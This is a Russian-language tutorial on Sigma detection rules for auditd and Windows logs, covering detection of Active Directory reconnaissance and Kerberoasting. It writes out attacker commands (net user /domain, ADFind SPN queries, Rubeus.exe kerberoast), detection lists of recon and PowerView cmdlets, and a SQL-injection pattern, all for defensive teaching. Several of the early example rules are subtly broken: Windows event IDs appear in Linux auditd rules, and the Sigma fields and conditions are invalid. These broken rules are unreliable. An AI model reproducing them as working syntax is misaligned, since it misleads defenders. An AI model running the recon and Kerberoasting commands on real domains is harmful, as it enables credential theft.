правило будет срабатывать на любое событие, которое удовлетворяет хотя бы одному из условий выбора. В этом примере правило будет срабатывать на любое событие с EventID 4625 или 4634, так как в поле condition указано true, что означает применение правила без дополнительных условий: ``` ```yaml detection:   Selection1:     EventID: 4625   Selection2:     EventID: 4634   Condition: true ``` ``` Дополнительные поля: - False Positives: можно указать предполагаемые ложные срабатывания данного правила. Это позволяет аналитикам и инженерам безопасности учитывать потенциальные ложные срабатывания и проводить дополнительный анализ для их исключения. - Level: указывает на уровень критичности события, при котором правило срабатывает. Обычно используются уровни low (низкий), medium (средний), high (высокий) - Grouping Logic: некоторые правила могут иметь дополнительные поля для определения логики группировки событий. Например, можно указать, что правило должно срабатывать только в случае, если определенное количество событий произошло в определенном временном интервале или если определенные условия были выполнены несколько раз подряд. Примеры блоков detection **Блок Detection для обнаружения подозрительной активности в логах аутентификации** ``` ```yaml detection:   Selection:     EventID: 4625     AccountName: ["Administrator", "root"]     Outcome: FAILURE   Condition: true   FalsePositives:     - Expected administrative login failures during maintenance windows.   Level: medium ``` ``` В этом примере правило будет срабатывать, если произошло событие аутентификации с идентификатором 4625 (попытка входа в систему), имя пользователя равно "Administrator" или "root", и результат попытки входа — FAILURE. Условие Condition: true указывает, что правило будет срабатывать на все события, удовлетворяющие критериям блока Selection. Уровень критичности установлен на средний, и указаны ложные срабатывания. **Блок Detection для обнаружения необычного сетевого трафика** ``` ```yaml detection:   Selection:     EventType: NETWORK     Protocol: TCP     DestinationPort: [22, 3389, 5900]     BytesTransferred: ">1000000"   Condition: true   FalsePositives:     - Expected high-volume traffic during data transfers.   Level: high ``` ``` В этом примере правило будет срабатывать на сетевые события типа NETWORK с использованием протокола TCP и с направленным портом 22, 3389 или 5900, а также с объемом переданных данных более 1 МБ. Условие Condition: true указывает, что правило будет срабатывать на все события, удовлетворяющие критериям блока Selection. Уровень критичности установлен на высокий, и указаны ложные срабатывания. **Блок Detection для обнаружения попыток SQL-инъекций** ``` ```yaml detection:   Selection:     EventType: APPLICATION     ProcessName: ["sqlserver.exe", "mysql.exe", "postgresql.exe"]     CommandLine: "*' OR 1=1 --"   Condition: true   FalsePositives:     - Legitimate use of special characters in database queries.   Level: medium ``` ``` В этом примере правило будет срабатывать на события типа APPLICATION с процессами sqlserver.exe, mysql.exe или postgresql.exe, в которых встречается подозрительная команда "\*' OR 1=1 --" в командной строке. Условие Condition: true указывает, что правило будет срабатывать на все события, удовлетворяющие критериям блока Selection. Уровень критичности установлен на средний, и указаны ложные срабатывания. **Примеры правил** **Множественные неудачные попытки входа** Рассмотрим пример правила для auditd, которое будет срабатывать после 5 неудачных попыток логина под учетной записью "admin" в течение 5 минут: ``` ```yaml title: Detect 5 Failed Login Attempts for "admin" in Linux Auditd description: Detects 5 consecutive failed login attempts for the user "admin" in Linux auditd logs. tags: - linux - auditd - login logsource:     product: linux     service: auditd detection: Selection: EventID: 4625 UserName: admin Outcome: FAILURE Count: 5 Consecutive: true Window: 5m ``` ``` Поле detection - Selection: общий блок, который содержит набор событий; - EventID: идентификатор события, связанный с неудачной попыткой входа (4625); - UserName: имя пользователя, которое мы хотим отследить (admin); - Outcome: результат попытки входа (FAILURE); - Count: количество событий (5 попыток); - Consecutive: указывает, что события должны быть последовательными (true); - Window: временное окно, в пределах которого должны произойти события (5 минут). На что срабатывает правило Пример неудачной попытки входа: ``` ```rust type=USER_AUTH msg=audit(1485911400.972:318): pid=3662 uid=0 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login acct="admin" exe="/usr/sbin/sshd" hostname=192.168.1.100 addr=192.168.1.100 terminal=ssh res=failed' ``` ``` Пример успешного входа: ``` ```rust type=USER_AUTH msg=audit(1485911400.972:318): pid=3662 uid=0 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login acct="admin" exe="/usr/sbin/sshd" hostname=192.168.1.100 addr=192.168.1.100 terminal=ssh res=success' ``` ``` Для срабатывания правила, нужно обнаружить пять последовательных неудачных попыток входа. ``` ```rust type=USER_AUTH msg=audit(1485911400.972:318): pid=3662 uid=0 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login acct="admin" exe="/usr/sbin/sshd" hostname=192.168.1.100 addr=192.168.1.100 terminal=ssh res=failed' type=USER_AUTH msg=audit(1485911401.972:319): pid=3662 uid=0 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login acct="admin" exe="/usr/sbin/sshd" hostname=192.168.1.100 addr=192.168.1.100 terminal=ssh res=failed' type=USER_AUTH msg=audit(1485911402.972:320): pid=3662 uid=0 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login acct="admin" exe="/usr/sbin/sshd" hostname=192.168.1.100 addr=192.168.1.100 terminal=ssh res=failed' type=USER_AUTH msg=audit(1485911403.972:321): pid=3662 uid=0 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login acct="admin" exe="/usr/sbin/sshd" hostname=192.168.1.100 addr=192.168.1.100 terminal=ssh res=failed' type=USER_AUTH msg=audit(1485911404.972:322): pid=3662 uid=0 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login acct="admin" exe="/usr/sbin/sshd" hostname=192.168.1.100 addr=192.168.1.100 terminal=ssh res=failed' ``` ``` **Правило, срабатывающее при сборе информации о системе** ``` ```yaml title: System Information Discovery - Auditd id: f34047d9-20d3-4e8b-8672-0a35cc50dc71 status: test description: Detects System Information Discovery commands references:     - https://github.com/redcanaryco/atomic-red-team/blob/f296668303c29d3f4c07e42bdd2b28d8dd6625f9/atomics/T1082/T1082.md author: Pawel Mazur date: 2021/09/03 modified: 2023/03/06 tags:     - attack.discovery     - attack.t1082 logsource:     product: linux     service: auditd detection:     selection_1:         type: PATH         name:             - /etc/lsb-release             - /etc/redhat-release             - /etc/issue     selection_2:         type: EXECVE         a0:             - uname             - uptime             - lsmod             - hostname             - env     selection_3:         type: EXECVE         a0: grep         a1|contains:             - vbox             - vm             - xen             - virtio             - hv     selection_4:         type: EXECVE         a0: kmod         a1: list     condition: 1 of selection_* falsepositives:     - Likely level: low ``` ``` Поле detection Блок detection содержит 4 разных поля selection, каждое из которых определяет разные методы и инструменты, используемые для обнаружения информации о системе: - selection\_1: попытки доступа к файлам с информацией о версии операционной системы, такими как */etc/lsb-release, /etc/redhat-release, /etc/issue*. - selection\_2: команды, запускаемые с помощью execve, которые могут выдавать информацию о системе, такие как `uname`*,* `uptime`*,* `lsmod`*,* `hostname`*,* `env`. - selection\_3: попытки использования команды `grep` с определенными аргументами, которые могут указывать на присутствие виртуальной среды, такие как `vbox`*,* `vm`*,* `xen`*,* `virtio`*,* `hv`. - selection\_4: команда `kmod list`, которая может быть использована для получения списка загруженных модулей ядра. - condition: *1 of selection\_\** указывает, что правило будет срабатывать, если совпадет любое событие из полей selection выше. **На что может сработать это правило** Доступ к файлу с информацией о версии операционной системы: ``` ```bash type=SYSCALL msg=audit(1485911400.972:318): arch=c000003e syscall=2 success=yes exit=3 a0=7fff39e3a410 a1=0 a2=1b6 a3=7fff39e38880 items=2 ppid=3661 pid=3662 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="cat" exe="/bin/cat" key=(null) type=CWD msg=audit(1485911400.972:318):  cwd="/home/user" type=PATH msg=audit(1485911400.972:318): item=0 name="/etc/lsb-release" inode=1577883 dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0 objtype=NORMAL type=PATH msg=audit(1485911400.972:318): item=1 name="/lib/x86_64-linux-gnu/libc.so.6" inode=1577547 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:libc_so_6_t:s0 objtype=NORMAL ``` ``` Запуск команды с информацией о системе: ``` ```ini type=EXECVE msg=audit(1614005988.958:1032): argc=2 a0="uname" a1="-a" type=CWD msg=audit(1614005988.958:1032):  cwd="/home/user" type=PATH msg=audit(1614005988.958:1032): item=0 name="/bin/uname" inode=2036785 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:bin_t:s0 objtype=NORMAL ``` ``` Использование команды `grep` для поиска информации о виртуальной среде: ``` ```ini type=EXECVE msg=audit(1614005988.958:1032): argc=3 a0="grep" a1="-i" a2="vm" type=CWD msg=audit(1614005988.958:1032):  cwd="/home/user" type=PATH msg=audit(1614005988.958:1032): item=0 name="/bin/grep" inode=2036785 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:bin_t:s0 objtype=NORMAL ``` ``` Использование команды `kmod list` для получения списка загруженных модулей ядра: ``` ```ini type=EXECVE msg=audit(1614005988.958:1032): argc=2 a0="kmod" a1="list" type=CWD msg=audit(1614005988.958:1032):  cwd="/home/user" type=PATH msg=audit(1614005988.958:1032): item=0 name="/sbin/kmod" inode=2036785 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:sbin_t:s0 objtype=NORMAL ``` ``` Запуск команды, такой как `uptime`, для получения информации о системе:
``` type=EXECVE msg=audit(1614005988.958:1032): argc=1 a0="uptime" type=CWD msg=audit(1614005988.958:1032):  cwd="/home/user" type=PATH msg=audit(1614005988.958:1032): item=0 name="/usr/bin/uptime" inode=2036785 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:bin_t:s0 objtype=NORMAL ```
**Передача исполняемого .exe файла на общий ресурс** ``` ```yaml title: Detection of Executable File Transfer to File Resource description: Detects the transfer of an executable file to a file resource in Linux auditd logs. tags:   - linux   - auditd   - file_transfer logsource:   product: linux   service: auditd detection:   Selection:     EventID: CWD     objtype: FILE     objname|endswith: ".exe"   Condition: path == "/opt/staff/" ``` ``` Поле detection - Selection: Блок, указывающий на выбор событий для анализа. - EventID: Идентификатор события (*CWD* - изменение текущего рабочего каталога). - objtype: Тип объекта (*FILE*). - objname|endswith: Имя объекта заканчивается на *".exe"* - Condition: Условие, при котором срабатывает правило. В данном случае проверяется, что путь (path) файла - это /opt/staff/ (*path == "/opt/staff/"*) На что может сработать это правило Передача файла с расширением ".exe" в каталог "/opt/staff/" ``` ```ini type=CWD msg=audit(1614005988.958:1032):  cwd="/opt/staff" type=PATH msg=audit(1614005988.958:1032): item=0 name="/opt/staff/file.exe" inode=2036785 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:file_t:s0 objtype=NORMAL ``` ``` Передача нескольких файлов с расширением ".exe" в каталог "/opt/staff/" ``` ```ini type=CWD msg=audit(1614005988.958:1032):  cwd="/opt/staff" type=PATH msg=audit(1614005988.958:1032): item=0 name="/opt/staff/file1.exe" inode=2036785 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:file_t:s0 objtype=NORMAL type=CWD msg=audit(1614005988.958:1032):  cwd="/opt/staff" type=PATH msg=audit(1614005988.958:1032): item=0 name="/opt/staff/file2.exe" inode=2036786 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:file_t:s0 objtype=NORMAL ``` ``` Передача файла с расширением ".exe" в каталог "/opt/staff/", но без события изменения текущего рабочего каталога: ```ini type=PATH msg=audit(1614005988.958:1032): item=0 name="/opt/staff/file.exe" inode=2036785 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:file_t:s0 objtype=NORMAL ``` # Обнаружение после проникновения Windows ## Разведка При попадании в инфраструктуру обычно производится поиск административных учетных записей, привилегированных группы безопасности, наличие настроенных соглашений (trust) между контроллерами доменов с дочерними/родительскими организациями. `net user /domain` выведет названия всех учетных записей в домене. Достаточна непривилегированная учетная запись в группе пользователей домена. ![](https://ucarecdn.com/54e7f0ba-334c-4abe-9a2b-2a48637952d0/) Данная команда журналируется только на локальном компьютере, на котором она была исполнена, ее обычно запускают на первом зараженном хосте. Cобытие EventID=4688 журнала Security или на событии EventID=1 журнала Sysmon. Рассмотрим ниже пример события EventID=1 журнала Sysmon с разведкой в формате xml, где обратите внимание на поле ``` ```php-template C:\Windows\system32\net1 user /domain ``` ``` , в котором зафиксирована команда разведки. Как вы заметили в журнале команда `net` зафиксирована как `net1`, это сделано для обеспечения совместимости и исправления старой ошибки в команде `net` в 2000 году и осталась в системе до сих пор. Ситуации с различием команд при логировании и исполнении в командной строке не так часты, но их надо учитывать при разработке корреляционных правил выявления атак и проверять, как журналирует система выполненные команды, если даже они кажутся очевидными. ``` ```xml - -     1   5   4   1   0   0x8000000000000000     6914807       Microsoft-Windows-Sysmon/Operational   WIN-O6QVDOTOFCA.lab.local     -   -   2024-02-04 14:23:41.019   {460797FE-9DED-65BF-7D01-000000001800}   976   C:\Windows\System32\net1.exe   6.3.9600.17415 (winblue_r4.141028-1500)   Net Command   Microsoft® Windows® Operating System   Microsoft Corporation   net1.exe   C:\Windows\system32\net1 user /domain   C:\Windows\system32\   LAB\Administrator   {460797FE-9671-65BE-4054-040000000000}   0x45440   1   High   MD5=A3F48D90EE53FDF2547B41F87A7C8080,SHA256=D28BC8FA6E80316833C0EBB948B46511971B96635892F40998A216A2DD5EC8AA,IMPHASH=EA59607831B13D45CEC2066C9436738F   {460797FE-9DEC-65BF-7C01-000000001800}   2372   C:\Windows\System32\net.exe   net user /domain   LAB\Administrator     ``` ``` `net group /domain`. ![](https://ucarecdn.com/91d75a3f-1cf6-4815-8cf0-a3df630b5751/) Так будет выглядить событие в формате xml по разведке доменных групп. Базируется выявление активности так же на событии EventID=4688 журнала Security или на событии EventID=1 журнала Sysmon. Обратите внимание на поле ``` ```php-template C:\Windows\system32\net1 group /domain ``` ``` ``` ```javascript - -     1   5   4   1   0   0x8000000000000000     6921609       Microsoft-Windows-Sysmon/Operational   WIN-O6QVDOTOFCA.lab.local     -   -   2024-02-04 15:15:07.129   {460797FE-A9FB-65BF-9201-000000001800}   2988   C:\Windows\System32\net1.exe   6.3.9600.17415 (winblue_r4.141028-1500)   Net Command   Microsoft® Windows® Operating System   Microsoft Corporation   net1.exe   C:\Windows\system32\net1 group /domain   C:\Windows\system32\   LAB\Administrator   {460797FE-9671-65BE-4054-040000000000}   0x45440   1   High   MD5=A3F48D90EE53FDF2547B41F87A7C8080,SHA256=D28BC8FA6E80316833C0EBB948B46511971B96635892F40998A216A2DD5EC8AA,IMPHASH=EA59607831B13D45CEC2066C9436738F   {460797FE-A9FB-65BF-9101-000000001800}   2908   C:\Windows\System32\net.exe   net group /domain   LAB\Administrator     ``` ``` Отслеживать каждую команду разведки по отдельности в большой инфраструктуре может быть черевато большим количеством ложных срабатываний, поэтому стоит рассмотреть вариант выявления активнсти по массовому запуску команд разведки за короткий промежуток времени. Примеры корреляционных правил на Sigma: - [Правило 1](https://github.com/NVISOsecurity/sigma-public/blob/master/rules/windows/process_creation/win_susp_recon_activity.yml) ``` ```yaml title: Suspicious Reconnaissance Activity id: d95de845-b83c-4a9a-8a6a-4fc802ebf6c0 status: experimental description: Detects suspicious command line activity on Windows systems author: Florian Roth date: 2019/01/16 tags: - attack.discovery - attack.t1087 logsource: category: process_creation product: windows detection: selection: CommandLine: - net group "domain admins" /domain - net localgroup administrators condition: selection fields: - CommandLine - ParentCommandLine falsepositives: - Inventory tool runs - Penetration tests - Administrative activity analysis: recommendation: Check if the user that executed the commands is suspicious (e.g. service accounts, LOCAL_SYSTEM) level: medium ``` ``` - [Правило 2](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_net_groups_and_accounts_recon.yml) ``` ```sql title: Suspicious Group And Account Reconnaissance Activity Using Net.EXE id: d95de845-b83c-4a9a-8a6a-4fc802ebf6c0 status: test description: Detects suspicious reconnaissance command line activity on Windows systems using Net.EXE references: - https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ - https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/ - https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/ author: Florian Roth (Nextron Systems), omkar72, @svch0st, Nasreddine Bencherchali (Nextron Systems) date: 2019/01/16 modified: 2023/03/02 tags: - attack.discovery - attack.t1087.001 - attack.t1087.002 logsource: category: process_creation product: windows detection: selection_img: - Image|endswith: - '\net.exe' - '\net1.exe' - OriginalFileName: - 'net.exe' - 'net1.exe' # Covers group and localgroup flags selection_group_root: CommandLine|contains: - ' group ' - ' localgroup ' selection_group_flags: CommandLine|contains: # Add more groups for other languages - 'domain admins' - ' administrator' # Typo without an 'S' so we catch both - ' administrateur' # Typo without an 'S' so we catch both - 'enterprise admins' - 'Exchange Trusted Subsystem' - 'Remote Desktop Users' - 'Utilisateurs du Bureau à distance' # French for "Remote Desktop Users" - 'Usuarios de escritorio remoto' # Spanish for "Remote Desktop Users" - ' /do' # short for domain filter_group_add: # This filter is added to avoid the potential case where the point is not recon but addition CommandLine|contains: ' /add' # Covers 'accounts' flag selection_accounts_root: CommandLine|contains: ' accounts ' selection_accounts_flags: CommandLine|contains: ' /do' # short for domain condition: selection_img and ((all of selection_group_* and not filter_group_add) or all of selection_accounts_*) fields: - CommandLine - ParentCommandLine falsepositives: - Inventory tool runs - Administrative activity level: medium analysis: recommendation: Check if the user that executed the commands is suspicious (e.g. service accounts, LOCAL_SYSTEM) ``` ``` ### **Разведка с помощью командлетов (**cmdlets**) PowerShell** Выполним команду `Get-ADForest`. Данная команда выдает информацию о лесе AD. **Лесом** называют полностью самостоятельную организацию Active Directory, которая имеет определенный набор атрибутов и является периметром безопасности организации. В состав леса могут входить как один, так и несколько доменов. В лесу у каждого домена есть своя база данных и свои собственные контроллеры домена. Однако пользователи домена в лесу также могут получить доступ к другим доменам леса. Это означает, что даже если домен может быть автономным (без необходимости взаимодействия с другими доменами), он не изолирован с точки зрения безопасности, поскольку пользователь из одного домена по умолчанию может получить доступ к ресурсам других доменов в том же лесу. Однако пользователи леса по умолчанию не могут получить доступ к ресурсам из других лесов, поэтому лес является логической структурой, которая может обеспечить изоляцию с точки зрению безопасности. ![](https://ucarecdn.com/d56e1681-2b4a-4eca-a0af-1b8503bb1d3d/) Ниже представлено событие выполнения скрипт-блоков с **EventID = 4104** из журнала **Powershell**. Обратите внимание на строку ``` ```php-template get-adforest ``` ``` , в которой зафиксировано выполнение команды. ``` ```javascript - - 4104 1 5 102 15 0x0 4667 Microsoft-Windows-PowerShell/Operational WIN-O6QVDOTOFCA.lab.local - 1 1 get-adforest 07651e4c-bb49-4563-8b55-1454584112d7 ``` ``` Количество командлетов PowerShell для разведки не малое количество, выявить их запуск можно так же по событию с EventID = 4104. Пример корреляционного правила на [Sigma](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/powershell/powershell_script/posh_ps_powerview_malicious_commandlets.yml) для выявления команд разведки данных AD и не только. ```sql title: PowerView PowerShell Cmdlets - ScriptBlock id: dcd74b95-3f36-4ed9-9598-0490951643aa related: - id: b2317cfa-4a47-4ead-b3ff-297438c0bc2d type: similar status: test description: Detects Cmdlet names from PowerView of the PowerSploit exploitation framework. references: - https://powersploit.readthedocs.io/en/stable/Recon/README - https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon - https://thedfirreport.com/2020/10/08/ryuks-return - https://adsecurity.org/?p=2277 author: Bhabesh Raj date: 2021/05/18 modified: 2023/11/22 tags: - attack.execution - attack.t1059.001 logsource: product: windows category: ps_script definition: 'Requirements: Script Block Logging must be enabled' detection: selection: ScriptBlockText|contains: - 'Export-PowerViewCSV' - 'Find-DomainLocalGroupMember' - 'Find-DomainObjectPropertyOutlier' - 'Find-DomainProcess' - 'Find-DomainShare' - 'Find-DomainUserEvent' - 'Find-DomainUserLocation' - 'Find-ForeignGroup' - 'Find-ForeignUser' - 'Find-GPOComputerAdmin' - 'Find-GPOLocation' - 'Find-InterestingDomain' # Covers: Find-InterestingDomainAcl, Find-InterestingDomainShareFile - 'Find-InterestingFile' - 'Find-LocalAdminAccess' - 'Find-ManagedSecurityGroups' - 'Get-CachedRDPConnection' - 'Get-DFSshare' - 'Get-DomainDFSShare' - 'Get-DomainDNSRecord' - 'Get-DomainDNSZone' - 'Get-DomainFileServer' - 'Get-DomainGPOComputerLocalGroupMapping' - 'Get-DomainGPOLocalGroup' - 'Get-DomainGPOUserLocalGroupMapping' - 'Get-LastLoggedOn' - 'Get-LoggedOnLocal' - 'Get-NetFileServer' - 'Get-NetForest' # Covers: Get-NetForestCatalog, Get-NetForestDomain, Get-NetForestTrust - 'Get-NetGPOGroup' - 'Get-NetProcess' - 'Get-NetRDPSession' - 'Get-RegistryMountedDrive' - 'Get-RegLoggedOn' - 'Get-WMIRegCachedRDPConnection' - 'Get-WMIRegLastLoggedOn' - 'Get-WMIRegMountedDrive' - 'Get-WMIRegProxy' - 'Invoke-ACLScanner' - 'Invoke-CheckLocalAdminAccess' - 'Invoke-EnumerateLocalAdmin' - 'Invoke-EventHunter' - 'Invoke-FileFinder' - 'Invoke-Kerberoast' - 'Invoke-MapDomainTrust' - 'Invoke-ProcessHunter' - 'Invoke-RevertToSelf' - 'Invoke-ShareFinder' - 'Invoke-UserHunter' - 'Invoke-UserImpersonation' - 'Remove-RemoteConnection' - 'Request-SPNTicket' - 'Resolve-IPAddress' # - 'Get-ADObject' # prone to FPs # - 'Get-Domain' # too many FPs # Covers Cmdlets like: DomainComputer, DomainController, DomainDFSShare, DomainDNSRecord, DomainGPO, etc. # - 'Add-DomainGroupMember' # - 'Add-DomainObjectAcl' # - 'Add-ObjectAcl' # - 'Add-RemoteConnection' # - 'Convert-ADName' # - 'Convert-NameToSid' # - 'ConvertFrom-UACValue' # - 'ConvertTo-SID' # - 'Get-DNSRecord' # - 'Get-DNSZone' # - 'Get-DomainComputer' # - 'Get-DomainController' # - 'Get-DomainGroup' # - 'Get-DomainGroupMember' # - 'Get-DomainManagedSecurityGroup' # - 'Get-DomainObject' # - 'Get-DomainObjectAcl' # - 'Get-DomainOU' # - 'Get-DomainPolicy' # - 'Get-DomainSID' # - 'Get-DomainSite' # - 'Get-DomainSPNTicket' # - 'Get-DomainSubnet' # - 'Get-DomainUser' # - 'Get-DomainUserEvent' # - 'Get-Forest' # Covers: Get-ForestDomain, Get-ForestGlobalCatalog, Get-ForestTrust # - 'Get-IPAddress' # - 'Get-NetComputer' # Covers: Get-NetComputerSiteName # - 'Get-NetDomain' # Covers: Get-NetDomainController, Get-NetDomainTrust # - 'Get-NetGroup' # Covers: Get-NetGroupMember # - 'Get-NetLocalGroup' # Covers: NetLocalGroupMember # - 'Get-NetLoggedon' # - 'Get-NetOU' # - 'Get-NetSession' # - 'Get-NetShare' # - 'Get-NetSite' # - 'Get-NetSubnet' # - 'Get-NetUser' # - 'Get-ObjectAcl' # - 'Get-PathAcl' # - 'Get-Proxy' # - 'Get-SiteName' # - 'Get-UserEvent' # - 'Get-WMIProcess' # - 'New-DomainGroup' # - 'New-DomainUser' # - 'Set-ADObject' # - 'Set-DomainObject' # - 'Set-DomainUserPassword' condition: selection falsepositives: - Unknown level: high ``` ## **Выявление разведки в журналах события AD** Для наиболее эффективной разведки могут воспользоваться утилитой [SharpHound ](https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound.html)и результаты выполнения, потом, для удобства, визуализировать с помощью утилиты [BloodHound](https://bloodhound.readthedocs.io/en/latest/). Аналогичные инструменты атакующих для разведки данных в AD, это, [ADFind](https://www.joeware.net/freetools/tools/adfind/), [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) и [ldapsearch](https://www.ibm.com/docs/ru/i/7.2?topic=utilities-ldapsearch). Запустим ADFind и посмотрим какие останутся следы в жураналах событий. Предварительно должен быть настроен аудит журналирования запросов для генерации событий EventID=1644 журнала Directory Service. Для настройки аудита необходимо с помощью PowerShell на контроллере домена выполнить команды: ``` ```javascript Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value "5" ``` ``` ``` ```javascript Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value "10" ``` ``` ``` ```javascript Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Services\NTDS\Parameters' -Name 'Inefficient Search Results Threshold' -Value "10" ``` ``` ``` ```javascript Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Services\NTDS\Parameters' -Name 'Search Time Threshold (msecs)' -Value "80" ``` ``` Данные команды изначально были предназначены отслеживания медленных запросов к AD. Настройку надо выполнять с осторожностью, поскольку повышается нагрузка на контроллере домена. В данном случае уже мы можем отслеживать аномальную активность на самом контроллере домена, это значит, что выявить атаку вероятность выше по сравнению с подходом выявления атаки при исполнении на конечном узле, т.к. события с контроллера домена всегда должны собираться в SIEM, как от критичного узла в инфраструктуре. Выполним команду: ``` ```bash adfind -b dc=lab,dc=local -f "( |(sAMAccountName=Bill) )" ``` ``` ![](https://ucarecdn.com/ceeb051b-4a0c-4b4f-aa8f-681dfb21d7a3/) Обратите внимание на строку в событии ниже с идентификатором 1644 со значением `( | (sAMAccountName=Bill) )` , это зафиксирована команда с запросом от утилиты **ADFind** для получения информации о пользователе **Bill**. В поле `192.168.0.5:51653` указан IP-адрес с которого был выполнен запрос. В поле `LAB\Nick` указано под какой учетной записью был выполнен запрос. ``` ```javascript - - 1644 0 4 15 0 0x8080000000000000 309 Directory Service WIN-O6QVDOTOFCA.lab.local - CN=Schema,CN=Configuration,DC=lab,DC=local ( | (sAMAccountName=Bill) ) 1630 50 192.168.0.5:51653 subtree uid,sAMAccountName DNT_index:1070:N; 14809 4 0 0 0 47 none LAB\Nick ``` ``` Далее необходимо выявить хост и проанализировать с него журналы событий. ## Атака Kerberoasting В Active Directory любой пользователь может запросить сервисный билет — **Service Ticket** для любой зарегистрированной службы в домене и имеющий Service Principal Name (SPN), независимо от статуса службы. Service Ticket частично зашифрован ключом Kerberos, полученным из пароля пользователя сервиса, что позволяет подобрать оффлайн пароль, расшифровывая Service Ticket. Большинство служб регистрируются в учетных записях компьютеров с автоматически генерируемыми паролями длиной 120 символов, меняющимися ежемесячно, что делает взлом Service Ticket невозможным. Однако иногда службы привязываются к обычным учетным записям пользователей со слабыми паролями, что может быть использовано для взлома и получения паролей пользователей. **Атака Kerberoasting** заключается в запросе Service Ticket для обычных учетных записей пользователей служб и последующей попытке взлома для получения паролей пользователей, которые обычно имеют высокие привилегии и далее используются на следующих этапах атак. Проверим учетные записи пользователей с именами участников-служб с помощью ADFind, выполнив команду. ``` ```bash adfind -b dc=lab,dc=local -f "(&(samAccountType=805306368)(servicePrincipalName=*))" ``` ``` В результате получаем две учетный записи с SPN`ами — это **krbtgt**, который не попал на скриншот в связи с тем, что его не взломать подбором. Вторая учетная запись с SPN выделена на скриншоте **sqlservice** — это как раз тот самый лакомый кусочек для злоумышленника. Запросив Servcie Ticket для учетной записи sqlservice, злоумышленник может взламывать его у себя на хосте с помощью [hashcat](https://hashcat.net/hashcat/). ![](https://ucarecdn.com/17e2b27e-504b-439a-a52c-4367bc1538a1/) Для получения Service Ticket и дальнейшего оффлайн взлома, злоумышленник можете использовать следующие скрипты [impacket GetUserSPNs.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py), команду [Rubeus kerberoast](https://github.com/GhostPack/Rubeus#kerberoast) или сценарий [Invoke-Kerberoast.ps1](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1). Проведем атаку с помощью утилиты Rubeus используя команду `Rubeus.exe kerberoast` и результатом получаем хэши от пароля для учетной записи sqlservice на скриншоте ниже, которые можем дальше взламывать. ![](https://ucarecdn.com/37bcaeaf-0c6b-4b36-b4b3-9bb3b4460b8a/) Посмотрим как это будет зафиксировано в журналах событий на AD. При запросе Service Ticket сгенерировалось событие c **EventID = 4769** в журнале **Security**. Обратите внимание на следующие важные поля: - `Nick@LAB.LOCAL` — учетная запись которая выполнила запрос. - `sqlservice` — наша учетная запись с SPN. - `0x17` — 0x17 означает шифрование AES256, но это не помеха для злоумышленника, потому что уже есть разработанные скрипты для взлома. - `192.168.0.5` — IP-адрес выполнившего запрос Service Ticket. - `58334` — порты выполнившего запрос Service Ticket. ``` ```javascript - - 4769 0 0 14337 0 0x8020000000000000 94453 Security WIN-O6QVDOTOFCA.lab.local - Nick@LAB.LOCAL LAB.LOCAL sqlservice S-1-5-21-1043167210-2633990363-2710869231-1118 0x40800000 0x17 192.168.0.5 58334 0x0 {9B1A0512-6224-531F-E2B8-C5A47A332D75} - ``` ``` *Важное замечание*: подобных событий c **EventID = 4769** будет огромное множество в инфраструктуре. Это обычная активность. Для повышения эффективности атаки злоумышленник может запросить несколько Service Ticket за короткий промежуток времени, чтобы получить для дальнейшего брутфорса как можно больше данных, так как он заведомо не знает, у какой сервисной или пользовательской УЗ пароль будет менее криптостойким. Подобную активность можно попытаться выявить корреляционным правилом, которое отслеживает множественные запросы Service Ticket от одного источника за короткий промежуток времени. Для выявления атаки также можно отслеживать запросы Service Ticket c шифрованием RC4, но может быть большое количество ложных срабатываний, если в инфраструктуре есть сервисы, которые используют устаревшее шифрование. Пример правила для выявления запроса Service Ticket с шифрованием RC4 на [Sigma](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/security/win_security_susp_rc4_kerberos.yml): ``` ```yaml title: Suspicious Kerberos RC4 Ticket Encryption id: 496a0e47-0a33-4dca-b009-9e6ca3591f39 status: test description: Detects service ticket requests using RC4 encryption type references: - https://adsecurity.org/?p=3458 - 